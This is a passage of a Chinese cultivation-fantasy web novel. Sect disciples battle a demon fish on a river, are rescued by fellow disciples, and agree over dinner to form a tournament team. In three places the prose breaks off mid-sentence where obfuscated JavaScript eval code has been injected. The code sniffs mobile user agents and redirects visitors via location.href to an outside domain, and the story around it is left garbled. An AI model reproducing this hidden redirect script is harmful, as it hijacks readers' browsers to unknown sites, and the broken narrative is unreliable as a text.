回到客栈的时候,汤穗穗看到师姐仍坐在庭中看话本,她还没等师姐开口就着急地拉着师姐往外走,一边概述着自己在码头感受到的气息。师姐跟她再一次来到码头的时候,只是站在隐蔽处闭眼片刻,对她摇了摇头。 “怎么样,师姐?”汤穗穗不理解师姐的意思,“……是我大惊小怪了吗?” “不在这里。我们得走了。”姬忘尘从怀里拿出一张符箓,折成纸鹤给客栈里的两位前辈传信。灵气驱动纸鹤飞起时会隐去身形,直到收到纸鹤的那方才会显露。 “为什么会这样?”汤穗穗看着隐去身形的纸鹤,听到师姐的解释好奇地发问。 “虽然是同一股灵气,但在使用时会根据使用者而受到影响。”姬忘尘想了想,低头扫向对方受伤提着的东西,换了种通俗易懂的说法,“就像是用同一个方法打结,就算所有的步骤一样,不同的人也会有略微的不同。——你在附近找地方坐会,我去租条船。” 汤穗穗顺着师姐的视线往下看,才意识到自己甚至连糕点都没放下。等她再抬头的时候,师姐已经走到远处,和停泊在码头边的船夫交谈起来。 汤穗穗不知道自己该做什么,正好肚子也饿了,索性盘腿在原地坐下,将拎了一路的糕点打开,细细品尝起来。糕点虽然经过了一路的颠簸有些散架,但味道依旧不错。几款糕点入口软糯,甜而不腻,甜味恰到好处,还有淡淡的花香味道包裹其中。 汤穗穗吃的很认真,没留意到方才在客栈前面的疑似乾坤宗的一行人也出现在了码头。 等她差不多将糕点吃完的时候,两位前辈也来到了码头,她们的脸色有些沉重。汤穗穗从地上跳起来,蹦到秦无纪的面前,拍掉了衣服上的灰尘,笑着跟两人打招呼。 她们在看到汤穗穗之后,脸上也不自觉露出了笑容。 姬忘尘正好也在这个时候回来:“船好了,现在就走吗?” “穗穗?”秦无纪率先询问汤穗穗,后者点点头,表示自己接受。 意见一致之后,四人很快上了船。这是一艘寻常的小型客船,内里宽敞,能够容纳五六人。不过姬忘尘将这艘船从渔家手里买下,因此船里只有她们四人。姬忘尘没有和她们待在一起,一个人守在船头控制方向。 客船晃晃悠悠地往江面驶去,汤穗穗看着前面师姐的背影,挪到了师姐的身边,想要跟她解释今早发生的事情:“师姐……” “嘘。”姬忘尘马上打断了她的话,头也不回地低声提醒。 汤穗穗立马噤声,多次合作让她十分了解师姐的习惯,同时她现在压低了身体,环刃被拆成弯刀紧握。身旁放置的罗盘旋转得特别快,汤穗穗隐隐感觉出来,附近怕是有魔鱼出没,只不过一直隐藏在江里,所以先前并未被罗盘检测到。 汤穗穗咽下口水,掏出自己的木剑,也蹲在师姐的身边做好准备,四下打量着周围的景象。她看到江上形成了一个巨大的漩涡,即使是相隔了好一段距离都能看到,漩涡之下有一个黑色的身影不停地游动着,蓄势待发。 不止是她,师姐也看到了,低声提醒:“做好准备。” 客舱里的前辈更是感受到这股浓郁的气息,对视一眼,默契结印以此处为圆心形成了一个结界封印。 结界之外,江上的行船依旧来往,无人能察觉这里的凶险。 降低蛰伏的魔鱼同样感受到周围翻涌的灵气,灵气与魔气互斥的感受让它十分不舒服,忍不住在水中游走。可它又被结界所困,无处可逃,赤红的眼睛锁定了结界内唯一的船只。 但事情的发展远远超出她的预料,汤穗穗刚撕毁符咒,巨大的、昏暗的身形从水中翻涌而出,那是几乎十米粗壮、似鱼非鱼的怪物。它张起血盘大口,呼出刮起剧烈的狂风,吹得汤穗穗不适地闭上了眼睛。 天色霎时变得昏暗,魔鱼被阵法困在此处本就暴躁,怒吼过后从江中翻身而出,使出尾巴往两人横扫。 汤穗穗正被狂风影响得睁不开眼睛,来不及反应。眼看着要被尾巴攻击,身旁的师姐眼疾手快将她拎起来,避开了这次猛烈的攻击。船只因为有两位前辈的灵气保护,非但没有受到影响,还在对方的尾巴上留下伤痕。 “你可以吗?”姬忘尘放下拎着汤穗穗的衣领的手,两人站在客船的棚顶,每次开始前她都会确定汤穗穗的状态,“这个鱼怪虽然体型庞大,但修为不算太高,你我配合是能做到的。如果你没有信心,也可以回去协助师傅。” “我可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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魔鱼高高跃起,汤穗穗想再抓住剑的时候已经完全来不及,她就这样从半空被甩落。魔鱼趁机转身,想要将这个自以为是的“开胃小菜”吞入腹中。 汤穗穗看着张大的血盘大口,脑中一片空白,余光中,好像有一艘客船的影子。 不过很快她就否定了自己的想法,这四周被布上了结界,怎么可能还有其他客船呢? 闪着寒光的弯刀朝魔鱼飞来,逼它闭嘴换了姿势避开弯刀的攻击。姬忘尘同时跳起,接住了汤穗穗,几个跳落到了船上。 “还可以吗?”姬忘尘冷静地开口,想了想安慰她,“你已经做得很好了。” “我可以的。”汤穗穗心中忐忑不安,知道这次是因为自己掉以轻心出的岔子,还险些将自己小命就要交代在这里。越是这样,她越是想做些什么弥补回来。 但金光锁链的束缚把魔鱼逼急,它的攻击越发凶猛,越发不可预测。汤穗穗一个不察,又被魔鱼尾巴横扫的力度撞到船只客舱的木门上,背部传来剧烈的疼痛,连头也有些晕乎。她呲牙列嘴地反手按到背上疼痛的地方,这是她第一次受这么重的伤,连上次和师姐比试时都没有过。 在汤穗穗被扫落的同时,一旁的姬忘尘简单地判断了局势,转身往她的方向跳过去,身后魔鱼就在此时又一次从水中跃起,对她们张开了血盆大口扑过来。 “你没事吧?”姬忘尘落到她的面前,低声询问。 汤穗穗抓着师姐的衣袖,连身上的疼痛都顾不得,目不转睛地盯着师姐背后出现的魔鱼,大惊失色:“师姐!后面!” 恰在此时,一柄锋利的长剑从另一个方向破风而来,贯穿了魔鱼的身躯,将其钉在了她们的船上。一瞬间魔鱼像被放了气的球,退回到原始的模样。那是一条不过七寸长的草鱼,身上依旧被金光锁链束缚着。 长剑甚至没入船板三寸,即使魔鱼再怎么挣扎,都挣不开长剑的控制。 20.同行 汤穗穗顺着长剑投掷过来的方向望去,若隐若现中出现了另一艘客船。 她立马反应过来,方才余光瞥见真的不是错觉。 但还没等她细看,一个人影从跳到了她们的面前,拔起了贯穿魔鱼的长剑,剑上还闪着浓郁的灵气。未死透的魔鱼喘息着,翘起身体在船板上拍打着,只见那人迅速起手掐诀,将魔鱼体内的魔种凝结出来,随即焚烧魔种、净化魔气一气呵成。 在那人操作的同时,姬忘尘并未在乎来人的动作,只是调用灵力检查汤穗穗的身体,让后者感觉后背的感触不再那么剧烈,思维也稍微回归。 “师姐……”汤穗穗低声扯了扯师姐的衣袖,戒备地看着那个处理魔鱼的男人。男人身体颀长,动作娴熟,等一切解决完后反手将长剑插入腰侧的剑鞘,转身望向她们二人,面无表情地开口:“好久不见。” 他望向客舱里的两位长辈,弯腰行礼:“见过两位长老。” 与此同时,那艘客船也向她们驶来,客船比她们现在的要大上不少,能容纳十多人。船头处站了许多人,其中一人单腿站在栏杆上,一只手撑在膝盖上,先辨认出她们的身影,发出意外的声音:“姬忘尘?!” 汤穗穗不自在地咽了下了口水,不知所措地抓着姬忘尘的衣袖更紧了些。姬忘尘察觉了她的不安,柔声安抚:“别怕,我在。” 她先向男子点了点头道谢,扶着舱门跟舱内的两位前辈开口:“师傅,我们换船吧。” 她们乘坐的这艘小船在方才的激烈战斗中损伤严重,若不是有两位前辈的灵力团聚,恐怕早就四分五裂了。 姚成点了点头,他看到了身旁的客船,也认出了上船那人的身份,跟秦无纪解释:“是墨陵他们。” 身旁那艘客船离她们更近了一些,站在船头的没有得到姬忘尘的回应,语气变得有些恼怒:“姬忘尘!” 汤穗穗顺着声音望去,阳光在那人背后实在晃眼,她只能模糊看到两名女子的身影。 “哈哈哈哈,蓝鄞,人家忙着呢!”身边虎背熊腰的女人爽朗地笑了出声,伸手将手肘搭在方才开口的蓝鄞身上,音量又放大了些,“忘尘,说真的,你们那小破船快塌了吧,上来我们这边!” “成师姐,麻烦了。”姬忘尘得到两位长辈的许可之后,转身跟身形壮硕的女人开口。 “好咧,都让开,我这流星锤可不长眼!”成师姐活动了筋骨,周围人都拉远了些距离,她掏出自己的惯用武器,在空中抡了几圈,然后往几人方向的客船扔了过去。流星锤的一段重重地砸到了船头位置,成师姐猛地一拉,将两船的距离拉得更近。身旁围观的人迅速搭上木板,将船上的几人拉到了更大的客船上。 等几人都换好了船,姚成撤掉了对方才小船的灵气控制。撤离的那一瞬间,小船裂成了几块巨大的木板,漂浮在江面上。 船上的一行人见到姚成之后变得礼貌非凡,连忙引着对方进入到客舱的房间里休息。而汤穗穗还站在船边,望着坍塌的小船,想起方才战斗时的糗态都别那么多人看到,忍不住面红。 师姐还站在自己的身边,拍了拍她的肩膀,好像什么事情都没有发生那样:“走吧,刚才辛苦了,到舱里休息休息。” 有人留在船头戒备,汤穗穗垂头丧气跟在师姐的身边,虽然后背依旧再疼,但是她觉得自己完全没有脸面见师姐,也没有脸面面对两位长辈。 “嗨,多大点事,睡一觉明天就忘了。”成师姐好像看出了汤穗穗心中的情绪,伸手拍了拍她的后背安慰道。 成师姐的力气很大,即使可以控制过力度,但汤穗穗还是差点惊呼出来。 “……成师姐,你人真好。”她知道对方的好意,强颜欢笑开口。 其余几人来到客舱的厅堂坐下,说起了方才发生的事情。其实他们也发现了江上异常的的灵气波动,只不过比她们几人略晚一些出发。等他们到达江上时,却怎么都锁定不到魔物方向,兜兜转转去不了某个地方。 “后来是蓝鄞掏了个小东西,锁定了方向才终于进来。我也是这才发现这就是宗门的结界之法,也猜到了结界中应当是我们的人。”成师姐笑着解释,大大方方地承认自己的弊端,“我向来迟钝,是有些疏于术法贯通。” 成师姐顿了顿,接着说起进入结界之后的事情。 “那剑是蓝鄞扔的。她的长枪惯常收在袋子里,当时情况紧急,也就顺手抢了身边墨师弟的剑投掷了出去。”成师姐将方才发生的事情简单地概述了一遍,转头看向一直沉默坐在一旁的姬忘尘,“其实忘尘你是看到我们了吧。” 虽然是疑问,但成师姐用的是完全笃定的语气。虽然她也就见过几次对方,算不上十分相熟,但在当时那般紧急之下,露出后背弱点完全是让人匪夷所思的行为——除非她还准备了后手。 “就不能是几年没见,她直接变成废物了吗?”就在此时,身边传到一道阴恻恻的声音,听起来还有些咬牙切齿,“可算交代完了吧。” 汤穗穗顺着声音望去,那是坐在成师姐的身边一直黑着脸的女子,她记得好像是被称为“蓝鄞”的师姐,此时对方眼睛包含怒气地紧盯着自家师姐,好像师姐欠了她银钱一样。 “若是忘尘师妹真的变成废物,这次大比的冠军不就是蓝鄞师妹你的囊中之物了吗?”成师姐毫不客气地打趣道,“可是师妹,你现在看起来可是一点都不高兴呢。” “成师姐!”蓝鄞的面庞瞬间染上薄红,提起了音量忙为自己辩解起来,“她都成废物了,这、这对我来说有什么意义!我肯定是、是堂堂正正地打败她,对,堂堂正正!” “多谢成师姐,多谢蓝鄞。”姬忘尘的脸色如常,礼貌地对两人道谢,“成师姐说得没错,我确实是看到了诸位的身影,并且我相信你们会出手。” “啧。”蓝鄞不明显地翻了个白眼,低声嘟囔,“又被你算计进去了。” 成师姐揽着蓝鄞的肩膀,压低了声音调侃她:“你这不是‘乐在其中’吗?” “成师姐!” “好好好,不闹你了,这位师妹是……?”成师姐将话题转向一直沉默着的汤穗穗,“忘了自我介绍,我是成洱。若是不嫌弃,也跟她们一同喊我师姐就成。” 与许多两位师姐不同,这位成洱师姐的身形健硕,即使身穿宽松的衣物还是能看出对方手臂、肩膀结实有力的肌肉。 汤穗穗看到她如此板正的身材,忍不住结巴,声音也降了下去:“我、我是汤穗穗,师、师姐你好……” 成洱不自在地挠了挠脸,她知道有自己的身形与世俗标准不同,也容易产生误解。 “别怕,成师姐人很好的。”蓝鄞看出汤穗穗的怯意,出声缓和气氛。 “不是的不是的,我不是因为害怕。”汤穗穗听到她们误解了自己的意思,连忙摆手解释道,“我觉得师姐你这样特别出众,方才我觉得你特别像庙里供奉的天神将军。” “可庙里供奉的天神将军不都是男子吗?”成洱听到汤穗穗并不畏惧自己,脸上的笑容又扩大了几分,至于像天神这样的说法,她也只当做是小姑娘哄自己的好话。 “那又怎样,谁规定的天神将军只有男子?”汤穗穗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437396|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理所当然地反问。 “好好好,穗穗说得对。”即使成洱听到汤穗穗的话依旧没有当真,可她心中也泛起吃了蜜糖般的甜意,“等下了船,我带我们穗穗去吃好吃的!” “真的吗?!”汤穗穗听到有好吃的瞬间眼睛发亮,眨着眼看向成洱。 “当然啦,今天我高兴。”成洱伸手揉乱了她本就因打斗而乱糟糟的脑袋。 在她俩聊天的时候,姬忘尘看到汤穗穗的神态也逐渐放松下来,能和成洱聊得有来有往,也就收齐了眼光不在看向她们,独自坐在一边掏出还没看完的话本翻看起来。 蓝鄞本来还饶有兴致地听着两人的聊天,余光不经意撇到姬忘尘的方向,发现她正低头看着什么书籍,心中萌生了莫名的危机感。她蹑手蹑脚地走到姬忘尘的身边,屏气凝神看向对方的手里的书籍。 片刻后蓝鄞一句话都没说,直接动手劈向姬忘尘。掌风将至时,姬忘尘头也不抬地回击着,几个来回下来将对方的攻击一一化解。 她们的动作幅度很大,吸引得客舱内外的人都好奇地围观着,却又不敢靠近丝毫,生怕被牵连进去。 “姬忘尘!你居然在——”片刻后,蓝鄞收了手上的招式,震惊地眼光扫视着姬忘尘,就好像面前人被什么魔物附身了一样,压低了声音一字一顿地开口,“看、话、本?!” 蓝鄞甚至分不清,究竟是像姬忘尘这样有天赋又不要命的人有两个,还是那个不苟言笑的姬忘尘私下里居然喜欢看话本,这两件事究竟哪个更恐怖。 周围的人离得都有些距离,听不到两人之间的对话,眼看着她们结束了比试,也就兴致缺缺地做回了方才在做的事情。 “不可以吗?”姬忘尘抬头,不知道对方为何有这样的情绪,理所当然地开口,“这些故事挺有意思的啊。” “这些?你还看了不少?!你、你、你这是……”蓝鄞气极反笑,语气变得恨铁不成钢,“玩物丧志,对,玩物丧志!” “嗯?不会。”姬忘尘觉得对方的情绪有些激动了,想起以前自己看功法秘籍的时候,对方也常要上一份,于是她慷慨地分享手里的话本,将话本往对方的方向挪了挪,“你想看?” “谁要看这种小孩子看的东西!”蓝鄞双手抱在胸前,咬着后槽牙移开了目光。 “我。”姬忘尘想了想,以前对方也是这样,担心贸然拿走回影响自己的进度,总是推脱个好几次才会收下。她从包里翻出了其它看完的推过去,:“很好看的,真的不看吗?其实我有其它看完的。” “你!”蓝鄞气得瞪圆了眼睛,气冲冲地坐在姬忘尘身边,用力抽出其中一本,“让我看看。” 蓝鄞就不信了,今天她非得打开看看,究竟是什么样的话本竟然这么吸引姬忘尘。 在一旁围观着两人互动的汤穗穗忍不住低声发问:“成师姐,我师姐她,和蓝师姐关系不好吗?” 方才蓝鄞动手的时候汤穗穗就想上去劝架,但是被成洱师姐一把抱住,脱离不开分毫。成洱师姐的力气着实也太大了些,她甚至以为自己被嵌在了什么巨石里。 “关系不好?”成洱像是听到了什么天大的笑话一样,乐不可支,“若是关系不好,蓝师妹就不会隔着那么远的距离一眼看出忘尘师妹身影了。” “那倒也是。”汤穗穗点点头,如果不是特别熟悉的人,隔着那么远的距离真的很难确认对方的身份,“可她每次对师姐都好像很不高兴的样子……” “等你熟悉了蓝师妹就知道了,”成洱对这个师妹的性子十分熟悉,“她啊,就是这样口是心非。” 21.席间 行船还在江上晃啊晃,两位师姐已经安静下来,低头翻看着手里的话本,气氛很是和睦。汤穗穗不再看向两位师姐,她眼睛一转,忽然想起自己在路上遇到的乾坤宗一行人。要想了解乾坤宗的事情,或许身边的成洱师姐就是一个很好的人选。 “对了成师姐,你知道‘乾坤宗’吗?”汤穗穗想知道这个神秘的乾坤宗,是不是跟自己的师门有所交集。 “‘乾坤宗’?”成洱不可置信地看着汤穗穗,却发现她脸上的好奇不似伪装,成洱问出自己的疑惑,“你不是姬忘尘的师妹吗?她没告诉你?” 同时,她调用了灵气检验面前的小师妹,对方的确已经筑基。看她一无所知的神情,真的很像是姬忘尘不知道从哪里拐来的无辜少女。 “不过是姬忘尘的话倒也正常,”成洱想了想对方的性格,一拍脑门低声自语。她还是要把小师妹的来历问清楚,“你是什么时候入门的?” “算起来,我好想也就入门了三个月?”汤穗穗掰起手指算了一下,一本正经地看向成洱,“不过我从小是跟着师傅长大的,我们相处已经八年了,不过是最近才筑基。” “怪不得。”成洱听到只有三个月的时候吓了一跳,差点就要起身质问姬忘尘。当听到对方后半句的解释,重重呼出一口气,伸手拍了拍自己的胸脯。 ——不是忘尘师妹拐来的就好。 虽然方才距离隔得远,但她也隐约见识到小师妹的身手,不太像是只入门两三个月的样子。听她解释之后更是心下了然,小师妹淬体时间足足有八年,因此筑基更是信手拈来的事情。 成洱低头看向小师妹稚嫩的面庞,再加上她方才奉承自己的话语,作为师姐的责任感油然而生。她清了清嗓子,笑着说出一个在最开始姬忘尘就该告诉对方的事实:“我们就是乾坤宗。” “什么?!”汤穗穗的惊呼脱口而出。 原来那个摊主口中神秘的“乾坤宗”居然就是自家师门?! 不过她只震惊了一瞬,很快就回过神来。她将脑海中那些细节逐一比对后才发现,确实存在着许多重合的地方。而师姐和两位长辈也从来没有提及过宗门的名字,是她先入为主地认为乾坤宗另有归属。 这样想来,或许当时窃听到的“神秘女子”…… 汤穗穗将目光移向师姐,心中隐隐又有了另一层猜测。 成洱并不清楚汤穗穗脑海中纷乱的思绪,但看到她将目光放到姬忘尘身上,以为对方是不理解为什么姬忘尘隐瞒这件事,笑着解释:“也别怪你师姐。忘尘的性子你应该比我更熟,那些对她来说无关紧要的事情,或许是真的没想起来。” “我没有怪师姐啦,我只是在路上听到了一些关于师姐的事情。”汤穗穗听到对方的声音回了神,连忙摇摇头,说起了当时在路上遇到的那一行人。 “是他们啊……”成洱听到对方提及的那几个姓氏点了点头,确实是她们这一行人里面的。他们所讨论的事情也并非秘而不宣,她简明扼要地总结:“忘尘师妹在上次宗门大比确实出彩,虽然是第一次参与,但比试中大放异彩,甚至最后一举夺魁。她这一出现,便夺走蓝师妹的风头,所以蓝师妹一直对她又爱又恨。” 说到后面,成洱还不忘打趣蓝鄞。 在上次的大比中,她很不巧和姬忘尘对上过。这位素未谋面的师妹虽然年纪不大,但是基本功极其扎实,招式凌厉,气场惊人。即使面对自己沉重的流星锤也毫不怯场,灵活变换攻击招式,十分轻松就将她击败。 起初成洱还以为是自己怠于武艺,多观摩几场比试之后才发现,输给她那是最正常不过的事情。这位师妹不仅会根据对手的特点,不断调整自己的身法应对不同的进攻,还会故意露出弱点,诱惑对方中计。在最后的决战里,蓝鄞师妹就是急于击败对手而大意中计,疏忽了自身的弱点,最终落败。 因此,蓝鄞这几年一直盼着下一届宗门大比的召开,就等着一雪前耻。 “原来是这样,不愧是师姐!”汤穗穗亮晶晶的眼睛看向师姐,想起当时和师姐的比试她也是这样将自己击败。 成洱讲了一些关于宗门上的事情,不过关于姬忘尘的传言,她是一句未提。首先她不是背后嚼人舌根的类型,其次她深知流言蜚语对旁人的伤害,更不会助纣为虐。 汤穗穗听着成洱聊了很多宗门里的事情,根本藏不住对她的好感,发自内心地开口:“成师姐,你真好!” “是吗?”成洱脸上的笑容更大了。 不知道为什么,汤穗穗觉得成师姐的笑容里好像藏了些什么,但也只能感觉到对方并无恶意。不过基于对成师姐的信任,她很快就把这念头压了下去。 聊着聊着,客船也靠了岸,大家陆陆续续地下了船。因为途中解决魔鱼耗费了些时间,所以等靠岸的时候,时间已经不早了。汤穗穗从船舱出来,正好看到夕阳的余晖均匀洒在江面上,映照得金光闪闪,与午时相比又别有一番风味。 沧江的北岸也是一座繁华的城镇,名曰“江望城”。和南岸的临沧城相比,江望手工业更为发达,有许多商人在北岸制作,集中运输到南岸售卖。 此时已经日落西山,眼看着就要天黑了。 成洱想起船上的约定,她伸手一把揽住左顾右盼的汤穗穗:“穗穗,不如我们今晚就在山下吃,住上一晚,明早再回宗门?” “喂,你去吗?”蓝鄞听到成洱的问话,用手肘捅了捅身边的姬忘尘,后者还低头看着手上的话本,她又气不打一处来,压低了声音咬牙切齿,“别看你那话本了!” 蓝鄞觉得姬忘尘真的沉迷在话本的故事里,都快玩物丧志了。蓝鄞不理解姬忘尘沉迷的原因,毕竟在她看来,话本也就只有那么……一点点趣味。 对,只有一点点! “我都行。”姬忘尘收起话本,站在汤穗穗身边,等对方做决定,她向来对这些事情都没什么所谓。 “师傅……”汤穗穗拿不准注意,看到师姐那个样子就知道对方也在等自己的决定,于是她将求助的视线放到师傅身上。 但秦无纪从下船之后就有些心不在焉,如今听到汤穗穗的问话,强颜欢笑着说:“那也挺好的,你去和师姐们熟悉熟悉。” 在船上姚成和秦无纪说了些山上的事情,也知道自家师妹现在消极情绪的缘由。秦无纪人看着还在山脚,其实心思早就飞到山上去了。 “穗穗你跟你师姐一块吧,我和你师傅走一道就行,等到了山上咱们还会再见面的。”姚成主动开口,拍了拍姬忘尘的肩膀:“交给你了。” 姚成的语气在汤穗穗听来,像极了担心姬忘尘会在半路上把自己丢下。她刚想开口争辩,只听见自家师姐若有其事地点了点头,开口应答“我知道了”。 “师姐……”汤穗穗皱巴着脸抱着师姐的手臂,可怜兮兮地开口,“你不会真的能要把我丢掉吧……” “现在不会。”姬忘尘诚实地开口。 “师姐,不能这样的——”汤穗穗拉长了音哀嚎,想要唤醒姬忘尘的同情心,很快就被成洱提溜到身边。 “你放心吧,你成师姐我,是绝对不会把你扔在半路的。”成洱笑着开口,满眼都是对这个古灵精怪小师妹的宠溺。 得到应承的汤穗穗说了些好话,哄得成洱又是一阵大笑。她乖巧地跟在成师姐的身边,打量着江望城里的一切。不知道是不是她的错觉,同一条客船下来的有些师兄弟们总是投来一些令人不悦的视线,还掩面议论些什么。 不仅仅是她,成洱师姐也感受到了,她板着脸,怒目喝道:“别以为我在山下就不敢对你们动手!” “成师姐,这和我们有什么关系?”有人被同伴用话一激,话语还没过脑子就直接说了出口:“明明是她——” 谁料他话还没说完,一柄长枪破空穿过他的衣领,拖着他在地上滑了好几米。 “蓝、蓝师姐……”枪头锋利处正好擦着他的脖子穿过衣领,冰凉的气息萦绕在他的脖颈处,他马上认出了长枪的主人,心中一阵后怕。 “蓝鄞——”姬忘尘在蓝鄞有动作的时候就抓住了她的手臂,但还是被对方挣脱开来,将枪头扔了出去。她叹了口气,心中百味杂陈,但还是觉得不应在此处生是非,也不该把蓝鄞扯进来。 “我有分寸。”蓝鄞不疾不徐地走到那人面前,一脚踩在他的身上,俯视着对方惊慌失措的脸。 “我记得你,每次比试都排末尾的赵舒。”蓝鄞自诩记性还不错,开口点破了对方的身份,沉下去的声音让她整个人变得严肃,“宗门授你技艺,不是让你在私下乱嚼舌根的。” “对、对不起……”那人被蓝鄞的气势吓得咽下口水,支支吾吾地开口认错:“蓝师姐,我我错了……” “记过一次,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我记得,江望城是不是还有一家……珍馐轩?”姬忘尘想起姚成提到过的名字,询问身边的蓝鄞。 “哟,这你都知道?”蓝鄞先是挑了挑眉调侃,但很快她拧着眉沉思。她不觉得面前这个人会主动了解美食,她一边放下茶壶,一边下意识压低声音,“珍馐轩有情况?” “没有啊,只是我很好奇。”姬忘尘摇摇头,虽然脸上也看不出好奇,“我听姚师舅提起过。” “……好。”蓝鄞对自己的小题大做感到无语,但还是耐心地解释,“珍馐轩只在白日营业,申时就不再接客,我们现在已经来不及了。你要想吃,下次赶早吧。” “原来如此。”姬忘尘了然点点头。 赏江楼出餐很快,几人聊天的功夫就已经将菜品备齐,一一端了上来。汤穗穗在和魔鱼的缠斗中,早将体力消耗殆尽,现在闻到菜品诱人的香味,更是忍不住肚子打起了鼓。成洱也不多废话,菜上齐了就招呼其余几位动筷。 赏江楼的菜品比起珍馐轩偏酸甜,是另一种完全不同的风味,汤穗穗忍不住就着菜品吃了两大碗饭。 满桌子的菜品很快就被几人一扫而光,成洱和蓝鄞对视一眼,将视线放到汤穗穗身上,似笑非笑。汤穗穗看着两人的眼神有些发毛,挪了挪凳子更靠近自家师姐,将口中的食物咽下去,吞吞吐吐地说:“怎、怎么了?” 成洱看到汤穗穗这般模样,更是爽快地笑了出来,态度坦然,丝毫不掩饰自己的目的:“忘尘师妹,你意下如何?” “我听汤穗穗的。”姬忘尘一开始就明白两人的意图,她垂眸将碗里的排骨吃完,慢条斯理地开口。 “穗穗师妹,你呢?”成洱顺着姬忘尘的意思,将问题抛给了汤穗穗。 “……什么?”几人一来一往地交流,唯独汤穗穗还在状况外,她迷惑的眼神从在座几位来回扫动,试图看出什么端倪。 “宗门大比的组队。”姬忘尘言简意赅地解释,她才想起来自己还没又汤穗穗介绍过,“简单来说宗门大比分为两轮,第一轮是合作赛,需要组队。这两位就是奔着组队来的。” “……所以成师姐,你一开始就是奔着这个目的来的?”汤穗穗不可置信地看向面前笑得坦荡的女人,想起方才在船上的聊天,还有自己对成师姐的赞叹…… 她仿佛听到了自己心碎的声音,皱巴着脸不能接受这个现实。 成师姐,太坏了! 22.道歉 但毕竟“吃人嘴短”,汤穗穗含泪同意了成师姐的组队邀请,狠狠地咀嚼着嘴中的食物出气。 “不用在意。”姬忘尘看出了汤穗穗的沮丧,开口宽慰,“我不在乎这些事情。” “你当然不在乎了。”成洱师姐看着汤穗穗可怜兮兮的样子,忍不住又给她点了一盘招牌糕点,“毕竟你的实力摆在这里,多的是要和你组队的,我们也只是先下手为强而已。” “那是我师姐有实力!”汤穗穗将糕点狠狠地塞进自己的嘴巴用力嚼着,毫不意外自己的师姐的受欢迎程度。 这里的糕点比中午的吃到的要更香甜,更有嚼劲。汤穗穗分神想,真不愧是大酒楼的招牌。 “对对对,你师姐可厉害了。”蓝鄞挑着眉看向姬忘尘,用怪里怪气地学着汤穗穗,对她放下狠话,“你等着瞧吧,这次我绝不可能掉以轻心。 “既然我们是队友了,我也得给两位展示我们的诚意。”成洱坐在汤穗穗的左手边,伸手轻轻揉乱了她的头发,开门见山地谈起了合作。虽然靠这顿饭的目的是和姬忘尘组上队,但她还是希望对方看到自己的诚意,让这次合作实现强强结合。 成洱出身镖局世家,有独特的训练方法。单论力气,宗门中无人能及。 而蓝鄞比成洱更胜一筹,技巧纯熟,一直都位于宗门中同辈榜首位置。 “可是明明你们实力也很强,为什么非得要和师姐一起呢?”汤穗穗听着她们的介绍,也将心中的疑问说出口。 “穗穗这话说的,”成洱忍不住放声大笑,“你对你师姐的实力认知还是不够清晰。” 上一届宗门大赛中,所有人都不认识姬忘尘,也不敢贸然组队。最后她加入了一个水平才勉强突破结丹期的队伍,以一己之力拿下了小组赛的榜首位置。 既然这次这么有缘在路上遇到,成洱不会放过这个组队的机会。 “……其实更重要的,是因为山上有些人对师姐的态度不好吧,”汤穗穗想到了路上遇到某些人的态度,做出一个猜测,“所以你们想堵住那些人的嘴?” “穗穗你很敢想嘛……”成洱揽住了她的肩膀,不置可否,岔开了话题说起其他的事情。 没有得到回复的汤穗穗下意识将视线移到右手边,她的师姐端起茶杯轻抿,脸上神情依旧平淡如常。方才遇到那个出言不逊的人也是如此,好像没有什么能掀起她的情绪。 汤穗穗下意识回想起那些相处的细节。师姐也不是那种完全没有情绪的人,不过她很多时候都像这样冷静地接受着一切的发生。 说得好听些,师姐是一个很随和、情绪稳定的人。 可她却无端觉得,自己的师姐在极力压制这什么,就像是平稳的江面底下看不见的暗潮涌动。 结束了晚餐,成洱给几人在临近的客栈定了房间,汤穗穗主动提出要和姬忘尘睡一间。成洱打趣她就像粘牙的牛轧糖,汤穗穗也没有辩解,只是抱着师姐的手臂傻笑。 回到了房间里,当只剩下她们两人的时候,汤穗穗想起了江上发生的事情,心里的不安又冒了出来。从饭局离开之后,汤穗穗一直都在等,她以为师姐会对自己发难。 没想到直到现在,师姐一句话也没有开口。 汤穗穗忐忑不安的心跳个不停,她有很多话的话想问,但不知道从何处说起。正当她犹豫不决的时候,没想到姬忘尘率先开口:“你有事找我,说吧。” “师姐……”汤穗穗低着头犹豫地开口,却迟迟没有等到对方的回应。她眼珠子转了好几圈,终于忍不住抬头想打量对方的神情。 只见对方早已坐在了房间里的方形木桌前,从袋子里掏出话本,若无其事地翻看起来。她理解了蓝师姐那种郁闷的心情,上前一步将手虚虚压在话本上,迫使对方抬头看向自己。 “你想我说什么?”姬忘尘将话本从她掌下抽出,盖起来放在一边,想了想补充道,“你的灵气又陷入瓶颈了?” “不是!”汤穗穗着急地坐在她的对面,握住了她的手,心口更是堵得慌,脱口而出,“难道师姐你没有什么话要对我说的吗?” 此时明明师姐什么话都没有说,汤穗穗心里却觉得更难受了,她认为师姐一定是对自己失望了,才半句话也不想多说。她甚至都还记得,师姐就在出门前提醒了自己的心法问题,是因为自己这些天的得意忘形,才导致后面一连贯事情的发生。 “等等,”姬忘尘看着汤穗穗脸上越来越明显的沮丧和懊恼,开口打断了对方的思绪,她还是不知道应该开口说什么,“……我应该说什么吗?” 姬忘尘眨着眼回想自己的举动,难道是因为最近过于沉迷话本,而忽视了对这个师妹的关照吗? 